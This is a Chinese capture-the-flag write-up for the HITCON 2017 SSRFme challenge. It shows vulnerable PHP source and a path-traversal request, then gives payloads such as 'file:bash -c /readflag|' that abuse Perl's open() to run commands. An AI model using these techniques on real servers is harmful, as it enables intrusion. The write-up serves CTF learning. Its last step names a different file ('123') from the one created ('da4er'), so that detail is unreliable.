2.7 [HITCON 2017]SSRFme


首先拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }
    echo $_SERVER["REMOTE_ADDR"];
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);
    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

主要代码是这个部分:
1
2
3
4
5
6
7
8
  $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);
    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);

代码逻辑为:1.创建一个’orange/客户端ip哈希值’的目录;2.将传入的URL带入命令GET执行 — GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求;3.解析filename参数,传入filename的最后一级文件夹(获取不为空)并创建。


解法有很多,但是我在做的时候主要用的open()函数绕过检测机制的方法。
首先通过上面代码的逻辑访问网站根目录:
创建一个名为a的文件,通过url参数访问根目录,那么访问的信息就会存储在a文件下。

1
2
?url=../../../../../../&filename=a
sandbox/0a3519231615f5dcb5681b439c71d89c/a


看到有个readflag。
其次用到了perl语言的open函数参数是可控的,可以执行任意命令。
这里要明确一点perl的GET命令是调用open函数来实现执行命令的。
下面是截取别的大佬博客wp中的一段:

这个意思有两点:1.在file.pm中open函数参数可控;2.file.pm先判断(file:文件名)中的文件是否存在,才能执行文件名对应的命令。
所以最终的payload:
1
2
3
url=file:bash -c /readflag|&filename=bash -c /readflag|  创建相应的同名文件。
url=file:bash -c /readflag|&filename=da4er 利用open执行代码。
最后直接访问/ sandbox /哈希值/ 123就能得到flag。

)


参考博客:
1
2

#
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×